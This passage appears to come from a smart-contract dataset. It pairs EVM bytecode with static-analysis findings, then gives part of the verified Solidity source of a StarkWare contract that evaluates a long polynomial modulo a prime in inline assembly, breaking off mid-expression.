0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146100a95780631453d756146100fe57806374580e2f146101ab578063914b7fd2146101e45780639201de5514610224578063b65e1ab8146102c4578063c3d55adc14610321578063cfb5192814610361578063d0747a9c146103da578063eb36f8e81461040b575b600080fd5b34156100b457600080fd5b6100bc610493565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561010957600080fd5b610130600480803560001916906020019091908035600019169060200190919050506104b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610170578082015181840152602081019050610155565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610768565b005b34156101ef57600080fd5b61020e6004808035906020019091908035906020019091905050610806565b6040518082815260200191505060405180910390f35b341561022f57600080fd5b61024960048080356000191690602001909190505061089f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028957808201518184015260208101905061026e565b50505050905090810190601f1680156102b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102cf57600080fd5b61031f600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610a8c565b005b341561032c57600080fd5b61034b6004808035906020019091908035906020019091905050610b01565b6040518082815260200191505060405180910390f35b341561036c57600080fd5b6103bc600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b0c565b60405180826000191660001916815260200191505060405180910390f35b34156103e557600080fd5b6103ed610b1f565b60405180826000191660001916815260200191505060405180910390f35b341561041657600080fd5b610466600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610bce565b60405180836000191660001916815260200182600019166000191681526020019250505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6104c0610bef565b6104c8610c03565b60008060006104d5610c03565b604080518059106104e35750595b9080825280601f01601f1916602001820160405250945060009350600092505b60208310156105c1578260080260020a886001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156105b45781858581518110151561057b57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b8280600101935050610503565b600092505b6020831015610684578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156106775781858581518110151561063e57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b82806001019350506105c6565b836040518059106106925750595b9080825280601f01601f19166020018201604052509050600092505b8383101561075a5784838151811015156106c457fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002818481518110151561071d57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082806001019350506106ae565b809550505050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107c357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600069021e19e0c9bab2400000831015156108335761271082604b0281151561082b57fe5b049050610899565b683635c9adc5dea000008310151561085d576103e882600f0281151561085557fe5b049050610899565b678ac7230489e8000083101515610886576103e88260190281151561087e57fe5b049050610899565b60648260030281151561089557fe5b0490505b92915050565b6108a7610bef565b6108af610c03565b60008060006108bc610c03565b60206040518059106108cb5750595b9080825280601f01601f1916602001820160405250945060009350600092505b60208310156109a9578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614151561099c5781858581518110151561096357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b82806001019350506108eb565b836040518059106109b75750595b9080825280601f01601f19166020018201604052509050600092505b83831015610a7f5784838151811015156109e957fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028184815181101515610a4257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082806001019350506109d3565b8095505050505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae757600080fd5b8060019080519060200190610afd929190610c17565b5050565b600080905092915050565b6000806020830151905080915050919050565b600080610bc560018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b820191906000526020600020905b815481529060010190602001808311610b9e57829003601f168201915b5050505050610b0c565b90508091505090565b60008060008060208501519150604085015190508181935093505050915091565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610c5857805160ff1916838001178555610c86565b82800160010185558215610c86579182015b82811115610c85578251825591602001919060010190610c6a565b5b509050610c939190610c97565b5090565b610cb991905b80821115610cb5576000816000905550600101610c9d565b5090565b905600a165627a7a7230582074af95c215463c178e61a1571f105c26f3e5afad4eb61a1f9629bf963960d77e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,258
0x0B2d74Dc27308031713596898A6B56366205A6b5
/** *Submitted for verification at Etherscan.io on 2022-01-11 */ /* Copyright 2019-2022 StarkWare Industries Ltd. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.starkware.co/open-source-license/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; contract EcdsaPointsXColumn { function compute(uint256 x) external pure returns(uint256 result) { uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001; assembly { // Use Horner's method to compute f(x). // The idea is that // a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n = // (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0. // Consequently we need to do deg(f) horner iterations that consist of: // 1. Multiply the last result by x // 2. Add the next coefficient (starting from the highest coefficient) // // We slightly diverge from the algorithm above by updating the result only once // every 7 horner iterations. // We do this because variable assignment in solidity's functional-style assembly results in // a swap followed by a pop. // 7 is the highest batch we can do due to the 16 slots limit in evm. result := add(0x5d4c38bd21ee4c36da189b6114280570d274811852ed6788ba0570f2414a914, mulmod( add(0x324182d53af0aa949e3b5ef1cda6d56bed021853be8bcef83bf87df8b308b5a, mulmod( add(0x4e1b2bc38487c21db3fcea13aaf850884b9aafee1e3a9e045f204f24f4ed900, mulmod( add(0x5febf85978de1a675512012a9a5d5c89590284d93ae486a94b7bd8df0032421, mulmod( add(0xf685b119593168b5dc2b7887e7f1720165a1bd180b86185590ba3393987935, mulmod( add(0x2bc4092c868bab2802fe0ba3cffdb1eed98b88a2a35d8c9b94a75f695bd3323, mulmod( add(0x22aac295d2c9dd7e94269a4a72b2fb3c3af04a0cb42ed1f66cfd446fc505ee2, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x44a14e5af0c3454a97df201eb3e4c91b5925d06da6741c055504c10ea8a534d, mulmod( add(0x749e86688f11d3d0ef67e4f55535c715a475ceec08547c81d11de8884436d8d, mulmod( add(0x703dcca99c0a4f2b2b7f1b653dbbf907dd1958c248de5dcb35be82031f7d170, mulmod( add(0xb0e39f10e5433b2341ecef312e79ed95d5c8fe5a2e571490dd789dad41a2b9, mulmod( add(0x52e5e75be2c96802a958af156a9e171dc7d5cfa7f586d90ed45027e57c5fe92, mulmod( add(0x66d15398bbd83688bda1d5372e048536a27d011f0f54a6311971822f55f9c07, mulmod( add(0x529414d56e9f6bf4ce8be38c8f79ffab78b185da61d606c411098f981f139a, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x7fdc637318ea00385719f9ce50848d13cc955eef9f36a90b87e646dac85e3aa, mulmod( add(0x39d9d83e0ac884a5ee0f2d227f9eda71724a55002a41938458e45251e121308, mulmod( add(0x785dc572a88712cb4eddcc8a167bb1b62f9a79282f21ee92a0374af76169344, mulmod( add(0x1d0f94ce5d9d3beaa42ebed05a2f172aa2227e9a9fee0bf43a3fb068c1ac345, mulmod( add(0x51170abac6896de6a5b478741dd56f52b1d2a1feea59b1f26d060e09ed98b32, mulmod( add(0x5e2909b1136e1d6608663e5cbabb616b28d2fd6f5dfb7cd03c4a7e719b7c53f, mulmod( add(0x6cd537aebc479350e63acbcf7b9da84f4b06c6c26a571d3a7dd416a94a956ca, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x2d626ebcfae2d3618e350c190fc636495fbb04dd4a4e563680fb961a3d30d8, mulmod( add(0x6f4ab1f3bccea47669a4c93da36db05bd6f5197945b5ab29191a703312ed3a8, mulmod( add(0x3ca8d84242dd2bd2a5d6e644fa1dc9f5082ee6131b6f0db8fd7d4f87109098b, mulmod( add(0x5b0343972ee9e17afaf76adc54e6797d54e6e47a7ea1167654ce076e3c6c360, mulmod( add(0x62773dee1773834dbb324c4c0d48dcdf9bbf0511547feb1b2ab0f7af7fa2dc2, mulmod( add(0x4c484b2cc04747d8d812180ec716f779302231983fa17971b575274c0a9c378, mulmod( add(0x72d82458ba49cd6c638f89d2e3a68e49944f486cdfb7d2848e51aa9f99292a4, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x7850ac1ef437d1b99c026a910b2437c1b877242e605c8f31a456f10e2f78743, mulmod( add(0x58a6d8229d82c192f190e55d28489f621cbcc64e4ef10c1ec5663c5384e60f, mulmod( add(0x98ad9c2080ba0663fb302025e6224cff41d1d30c5c9101ad77a48a71d8ac, mulmod( add(0x4f8cecab5f743c7227a63fa7f320930ffa7cc52b0fff6c351d3e9d4c22f9f9a, mulmod( add(0x150c633a21f3cfa157978e9561161f3953e180b9588347a0c819e4173afcfa8, mulmod( add(0x34b7ebee71c5876183407c57610a0a8a33d3138ccd6ae416651cd505e5761d9, mulmod( add(0x42f0a74ce045e8194b7a5cac4e882b1f1a9face49c38fb3383cfd3d960806c, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x70af32c484244d3435bb65b0ed076f48d06abb45b7765de9c6f26c1c8e9156d, mulmod( add(0x75275c33b919425b271966642fabd9ea7c917e70e96eda669040935b1d49db6, mulmod( add(0x7122e4b28d4ee35902b7f7b8ad5f525b6c70a2f2bb6b4ee4b9f0008845ffacf, mulmod( add(0xc1bbae3cf2d414dc12119a0c746e3c10e148f8b522d574eff757d44d8b3a14, mulmod( add(0x38ada3df52cd03154d66b7da4a8a01835a461e61a76ac9576649d8c00013610, mulmod( add(0x95fd265a2a87c42af5a20a199e6730ee3f0e3352a38a5e7e84ef46c621903d, mulmod( add(0x337092590652e19c23b48de3629ae0bd4157a5a72ecd3fcd17bb93f05814716, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x5643c5a69044bb8e86d10d3248ea3f50f8598732b0c517b256fe108294e09f3, mulmod( add(0x552e18bfefab6c3362cec587f0a7433a914f1359e5767b4fe883f1ad902dd13, mulmod( add(0x3a2a902a0e43ab33c19459984fe116fb215796cb40c48e254de6126b55e9c3, mulmod( add(0x6925415cd4dbae0ea5e9f41edcb503ff6f668da1cb13ec73eab6a99cd96752a, mulmod( add(0x412fcd2551c0516392f685a62b54fb82b9a73bcffd42abecea4482b65aeea47, mulmod( add(0x55713c4cc9f91e9f158f70683238853d0bb7cbd8358ff72b01fb60808b5c1de, mulmod( add(0x47c78a993a13204796a2fca3b20c0f02c0601e7cc59f84570fa026c65796dc9, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x1f7d548c5a6f2bc70ff6f8ee47f38221ae25dcb4f9b068054ee66227494f87, mulmod( add(0x224fe4f546c8f999947a5864ed0dbcd64fcac6f774ebce11667c2bbb7d8603, mulmod( add(0x6dfc1fb08b981f73911dc43811caa0ed99749c2f0903f87f389c9a0e2a88126, mulmod( add(0x1a4393bce3924d765902469c715fedeea69adca566859b4c8c412b7d7cb566d, mulmod( add(0x57d53073d66a528c88f24e40011321f74ce5bdbecd6ca319e5e770ae29b21da, mulmod( add(0x2a2811098d68a747bebe9ca2eae06b604bb307e5f51a9bdac1636f380feabb5, mulmod( add(0x542f931640d9010e906b7e1e375cd0481740157eb51500ea1e10afe77f26265, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x268c1e10f6f9969291b1d2f54289371a2f40a14cc67b3736e04eb891c1824ed, mulmod( add(0x352b933e5d853527d2a4317db613d07117fad8115948957515bc07d72e161f5, mulmod( add(0x44e3645cc1b135410b2a52a5b92bcb454985033615453a51ac46377885c4309, mulmod( add(0x27092905558602aec9af09947b70bb974caa3dd7cb1cb991810e15d75194aa6, mulmod( add(0x14ac38a4b82b4c65e4993726b58f32c74988997b8e8f7729fe9032cf187896d, mulmod( add(0x66ec70c796374a71b6aec5520467ebed547f645d1670b990dfa680a1b415cd, mulmod( add(0x735f4476c2b51acb4f0dd9dbc4306108e37543538b2cd3cd2327ae5377a2e5d, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x6b86f825e41b2c9934f71cc2cb08787d1bd4f2eefd2be9c44e37bf387b35940, mulmod( add(0x699e679a8f38a1ecb14c6695a2848c6abbab8a05003e43aa5cf4a9c6e6058f2, mulmod( add(0x40a3ea8c4059a1b9138884234381d6d383e66dd48eac1bf05f5fcddd593c881, mulmod( add(0x356591a80d5c2e14c3d8a180c030a9529a8580a4f3be00a5a9eea83d0d585f0, mulmod( add(0x106911de08ef437acabf58d178db7c81ff4d7de25f3ef5cd2582f44176d449e, mulmod( add(0x67dec5ad6ddb1761ec61d2820533f7a2bb56d66f2fb8ecff9cbe28218990061, mulmod( add(0xaa81707e389769aeb31cc8b45276af0370dd702ac79461bae0a4078cefb5df, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x164344bae5b9dca8f384612e7351fecde28adee3d245c98dc2f65509b181d8e, mulmod( add(0xe5e89fde76daa211fadf1178785f0c25a94d47a468cda257a895b871a928c2, mulmod( add(0x20ffc2b4c6c318bee0cdfdca40b2c10f2c629d3b52472b17c1bfd909cb7b85a, mulmod( add(0x781cf0ea1c0ba9cf908656aa2c5a9403d54c26c8ece401a2c13be8d3090f9c1, mulmod( add(0x367ea925556a875faedf4d61bd2a95a31067bde6e682c50035bb3310cc54b03, mulmod( add(0x7b0ed28b968689517aaa216c0203e57f1cf56b22ff1213561499ae140d37fa2, mulmod( add(0x4eb2786b11bc602bbf773564eb9b057d7dc02daaf4359c015295d97b74e72bb, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x5dd4b3dd252fa7eda7b46674369a2f8c5b00a891cf01ada0ea5aada8bfbf6d4, mulmod( add(0x62334e7d6094be4431aeebefc420f7e656459d6fc2cb10455123ede054f4cdf, mulmod( add(0x64c71feb673d2655bb1865f9c4bdfb16b1bcd0f278a911363056674dacb812f, mulmod( add(0x7a5d11f284ee7db72bed2338784d6467e05cae85f333e05c5610c018a57c2a7, mulmod( add(0x72c11bd84cd54152607e4c6e558a28e480a6487e374b865682c167484f8c29b, mulmod( add(0x546f65cf3367a004f10e9a4e47d71f6ec80086cb2be19d7b225825e01eb323, mulmod( add(0x4063a6202df9488fe5384aaf7be7610b3e88a9c01486c1b88767ca36355340, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x741b0f4e1bf8ed4d6318f5dc5ebba8529089f5ef4a84cd727564c60cc11a96f, mulmod( add(0x767d8839373a2e97b7e3de1be6f4c18df648806920e92fcc4da9ab6bd8525ce, mulmod( add(0x45ba7e524d75c65ab27b57a6e0b90458c9b0eb651935f84898a5d3cd0db9b8e, mulmod( add(0x24327b5849aaae0d313870c10e8010a115b70a99cf6b92925f51d2f05686287, mulmod( add(0x16f35b8d34d425a85fe48e66632d3e4af27d5d65cb180cb99047fdc2b908ea6, mulmod( add(0x42a6c571001e263b1ec8168805bf4d6cb65935cd0687c696ae3a6968fd28378, mulmod( add(0x3373dcd7d0f0f8bb31ec396e1ec67e1f121121356dba549bce9fd4d3bbfbaad, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x3a967c407600baaac716275b8fa16a08c22e928d895c762b2843d00496b3390, mulmod( add(0xac01d3129d24fe9b9209df8bfeb2526bc27e9c27d78f69eac16ce151b13540, mulmod( add(0x29a66c93ef1fa5ac4b6f96ed329810085b294a7ab8e16c61b1e225fd7406236, mulmod( add(0x327bd35b3ec38fb121c039f777669426d3d60df3922e688a408a06d4e7ee3a1, mulmod( add(0x5d6575134d1b37e610f25e65bc8b0b1ad7fd0cdcaa56fe573142a09707640b5, mulmod( add(0x68edfc809bfa6534b583624db421a2cb885d2ce888e6f95eae85ad9cb38249d, mulmod( add(0x68682814e1b4dd639cf396a9f60efe5ca035c6ccd75054b8911e8a15230efa7, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x2c82b2a99d198138ca2c4229a1929d044b113c1b0f693659712318ca7e7f804, mulmod( add(0x21df6648e6f783b7361a20191b8d399a4373dcbcc83f6b4a9a40bf11956219c, mulmod( add(0x7a615360e826e937db0c91cc1c9196086a3fd608cb01d20186ba1ce856904ed, mulmod( add(0x580bd7107af3afc93d0cfd1f0bd39f78f06ebe3a900f5d79943c25e980e5653, mulmod( add(0x3abd943152451107f59aa81194e7bbbe37c4a86a6b41e20a02f8145dd32fa87, mulmod( add(0xa8a00bb9874fbb44ee3411814dfb9d4d6048f5e3af6f7f09fff4e9f0263901, mulmod( add(0x4d111629c799fb16f602183ae372aee382e0b401312951eefe77a1674575242, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x51f4698c121db3db4a5244334c5180cfba256dc80a59689e2c0f1f8d946e6c, mulmod( add(0x5ae517bdefe7b6785680842685de0b5cd972a22dae9ceb50a6ea3665feb06f0, mulmod( add(0x46efbcd0bd7f06d59a430ddeb9f239d66a24ce1fa72f5dbcc2bab48b707b2dd, mulmod( add(0x164d44fb88efb41e301934bf2c61a20e41c9bcb3f8e784ac5857063b4fc3d5a, mulmod( add(0x3360af40b57c0a951da3219025643a76516f85119dfbb05f61874eb3b56b130, mulmod( add(0x1e54c3a5a3beca7932090ff58784aa43261075950feaab0e2a840f3801b81b9, mulmod( add(0x6dd74321080cc46d816a963c8a6f5dac42cb11e66c79831efba77433cce0d23, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x6f682eebabbcbfa3e7084b47b2a01acb693865749df222b4b8dee0ec41903cb, mulmod( add(0x5fa6f7f2a7a527880a5b58911dd7f3a491fc702f481cee30e67c4980092f851, mulmod( add(0x1a36f20817da4dc0c2e8b62fa08ce15cd3cb50419acf5211d6948bd6b28c8ce, mulmod( add(0xdb0ad3bd8a33b8daf1d53ff8604bbe5259b6620e3b547d5c6f392dbc10ccd5, mulmod( add(0x44be18892438118a0b3fc099da7489a89cffd4206678abfd37b1e649ad19178, mulmod( add(0x3dab30754623b91aec7a165cc167e9003269ebab3e551781e4c8cfb73402de7, mulmod( add(0x67d2681fae96c0b4bf22d10a73a1882c5bf4a5440f8d0458394d514ff7bd18b, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x4182bea2ea16dcacb0194876cd5fe8c79e1a55836aff8aa6074d235af5f7b29, mulmod( add(0x2300892e3f3c180333d091901ba99ab9e23c7947309b9e88ad47025847ec3a0, mulmod( add(0x23f0124cd1c3f3605fa1ec36dc4d6cb6e229f8ba8998b138a44595f96f3bf21, mulmod( add(0x3054d35b59baf5b0a2078c23322de031b383033837cd6b978b6c060120b7fb3, mulmod( add(0x34369f479f013d44dd5bb0d79d8a9effdb2ca36ce8b3d7e759bf707233c5bbe, mulmod( add(0x7172b43d0c88348e5453b0b26d54d4a7ad7e99e6b0c4b787341c8d89936197e, mulmod( add(0x1fd7088411b30cb5762147b1d6749942485b36c68ea32f60ab83fdcbe987d83, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x22a7b1c897f54da39a1db61b345b234969e36ef6ba0ea02f8d8b3e83b5c6242, mulmod( add(0x734438bc30566591da45df9366f936415d29eaeaeab392488bcccb9acf0edcf, mulmod( add(0x17626d3869adf0fdd3fedd48e9fe1266bb33419bfe9046df43c6409b440980e, mulmod( add(0x2bebc90c59dc0e37e28c7c7d8254520ce08894637bf1a089aed26012690d119, mulmod( add(0x2693f31fd4bb5a1ef9cacdc4f2b33c3d6d965b76e7bf289020ab1b6c6660d70, mulmod( add(0xc37f91c81a7006d6681cb511dab2e4d83928ccb78d1dc72c4c556e4cd72db8, mulmod( add(0x50f3e383aaf3533fc91b9633386542798abd69b79af893f47f6603d3cc35ea4, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x17f2709d2719458a9bf72a2b04463f0a6529fd9368a47715c628ba4e006cea, mulmod( add(0x4b540d0085be455b24f014bf51dc7d0eceb8c93bb644a5208fa02dc58c718ae, mulmod( add(0x1b1c82e5c561dc42f8c9c2a9f7db6bacd729b2646892a8ecfae9ead9a338aa6, mulmod( add(0x375ce3766894524209e2043a150f10ad0bf4f726e3dc5453c3c757e56943a51, mulmod( add(0xb10494024548b14df121b738abc7babe56c12acc0490699443426a52f3a4f9, mulmod( add(0x193185be6e02dc0a07c0dced4ed031bf0a406219cce325e76408123406c318b, mulmod( add(0x22eef827b9d0b57649233c5d527b4641decab31df78347a20da21c705df093b, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x56017977a273ad0e91c7c26a702ae4508343e97968295b08447b3cc7f20522f, mulmod( add(0x4efcba706a8b7868e32f363efac2696ad0625d046a3ef97917c710515016386, mulmod( add(0x31d335bd885c9cdf2adc68ab45b8eecd2d3588cf85b93206896b2626eb1e369, mulmod( add(0x7ba5194da963f8224987db2720f16baa604ff62351e66a63c0c9dba00fbc7c4, mulmod( add(0x4d3b0654fd74862a92aa716af33b5ad5ac20dc0460c724d95ca94fe6d8a9d7e, mulmod( add(0x29cc816e6be353f6ad5e2c390f37ed3940b0dd67610a7eeb0bcded94bdcf920, mulmod( add(0x20e468bb2828fb774d5ab538ff7f93ada201c2e392936e05cec29cd5a7a462d, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x6e1143b147dd1bcc56dd43e6a3616c9a4016d6887cf0009ebf9f9796efc944a, mulmod( add(0x4f9e975176d3aacd79c322d013c854c4b8829d1e469c9b242461f35e8dc6fed, mulmod( add(0x88f6e5a835dfda9fa2e2ff248d9378352f4a89b6bf5935700da390baebadb7, mulmod( add(0x62fc206aa283139f7451e54cdac873fe86b6e7e89214a3c0318fbcaf6016fa4, mulmod( add(0x1b389d976c22a3bfb42424896c9b135a3794048724c729968f81e04ce414194, mulmod( add(0x4237c41364975eb79919303fc0a381b934befe871fdbd72c18f97627292923e, mulmod( add(0x16416cc193a5ced6ff213fc18c86bd6f08d17c576f26b9ebd00d2653bbd6444, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x58f2e18613b3b25529935a623e7d5c8318ca9ff3fb180f16f7454ca9e348e35, mulmod( add(0x2830a6edb344b7fa86506557a0b2b0bd900429218fb35e7990951fe4fe869c6, mulmod( add(0x1f573af6e3ad146eeaa582f540de6a8db237ff2f28423660de998a4275bf4d0, mulmod( add(0xdaf5a68420fa7ad811f6dc75c5b4e92173a5d89255dc75accb8cec80a9cd91, mulmod( add(0x59cd87f8751437900e984a009c63fdf7461b177067760f30d4f648ab271660a, mulmod( add(0x60c327ef73c8468805ecace45a33ccc375fc91ffbf01b4b10a01ffd4b7aaefe, mulmod( add(0x284c547c04ca83fdb01020cfc797eb362838317f09e5d25e1e4eef353ab7a7f, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x16617a52bfe5d2fd0eedb0d6411f5fafeb14a4ac17da0cc828c914acb500ce9, mulmod( add(0x3030332e9cf430f72159914e59ab9af532bdfdafedc1be39691256c8084954e, mulmod( add(0x2b2a0768e9a5f59e7f33ea449690794c8b409bacd1c808f7ee8065ed9d8648c, mulmod( add(0x13fe84c8ecc2e3fd289560c0ada7a251fdd5fba24c076be4be465feec4262e6, mulmod( add(0x413fda31150aa8462deae8a6043fc5624599fb7f638c4d5c5f89472e1223c28, mulmod( add(0x50d603bf9c2a456b828ae476092affde072ecd878877ec3f99ba8f574d263a2, mulmod( add(0x42c8f0b5507417eb48ffeb1a7df8808633f193c27df8e2f44ee7bd62cb2c3bf, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x511c0ad7c0bfdcfcfaf925895a8ef5e8c5e0d147e29c9cdae45fbc998fce346, mulmod( add(0x62d6874b6dcb1c4dc8ed797b9158da4359c6c49f27af4851a12908ecad2092e, mulmod( add(0xbffb0e4f7ccfff0cee519edd1004eefbc47024f92c4409bbdf688c133ad285, mulmod( add(0x3f3ae3871460ac578f5030d925e91c138f3290f8f3cb6d4b560b4b16fbacd64, mulmod( add(0x520b18e79de342aa7095ffe56be6222b0d2e44fc3c676a5c994f24e427b45e2, mulmod( add(0x3939ef0e572dcc3b67f0cb819fffc521df26e50814281621fa6982b1465f786, mulmod( add(0x553f8ab49053432bab53835480b6f4c416eeffb3470fb6bcf122741cac3d71d, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x508243aa19e23cdb8ca0154055c05130462908c6a2691ae522e37ab9d6168f2, mulmod( add(0x28f86fe2d71f9410e14c17195ae19c2c5e623c525c979f4f74dec3ef8848eb5, mulmod( add(0x475f8af086f7aa4ec3739f754f7dd291dc50decc7c7fb03de8aee3cf06824f, mulmod( add(0x1cd528d070930aef19e0f928fc744e79ff57e227b6aa1bbfce15a79166aefd8, mulmod( add(0x19cf240d04f4859941f9b6af4a7088729aa10307cd08aa75f01cb22e872543d, mulmod( add(0x3cf3b95ba351a72019ed1bcadab32116adcf079e72800a9d88f15244e7743e0, mulmod( add(0x25199c11f7193e07191cd9b9108aa8b440ce1972dd1cbe5f0cc33b7783203a8, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x4acd125e74056ca611a1b07369166eb5c02af7a4cbf387b2bd584a362fa9e60, mulmod( add(0x4d8d9b92b38a45147bc9c87c071672edd93cbf5bdc8d85e608f26f1d82d172b, mulmod( add(0x1d6cb5a655919a581078aa2f8a21d300425026ccd7d047302443d78dbc67abd, mulmod( add(0x44147236daf669f8a94b7ea353c3dd7e64312ece01ccc1d4dad67916591d50b, mulmod( add(0x19a0ff21908842e412addb744b0ca384a54bdde819f6337c4c672f682fea9cb, mulmod( add(0x66336e2e2eeb939818f861fa4aa9b2576936470f511786f8fa3417850a6c2d, mulmod( add(0x37cf9640e321e7bccf1926d5fea92918d6888c5805e27193722995233a4adc5, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x589a2e11637d0c90fe91bb9f4d55a80cd1a2df7f3431e8b8bdce8fe7d35126c, mulmod( add(0x3e09706cb43c83143c9dc46f97e0e1ab4327de19ced69badaa8b2c80f68fb9b, mulmod( add(0x24adf288d61c113e28d9a298d2642eb67586019adcb952abf274ebe1d30e24a, mulmod( add(0x1c1216fe648d287c2645dfc5152e171f25483df5ef112b745c2e59b5d9ee07c, mulmod( 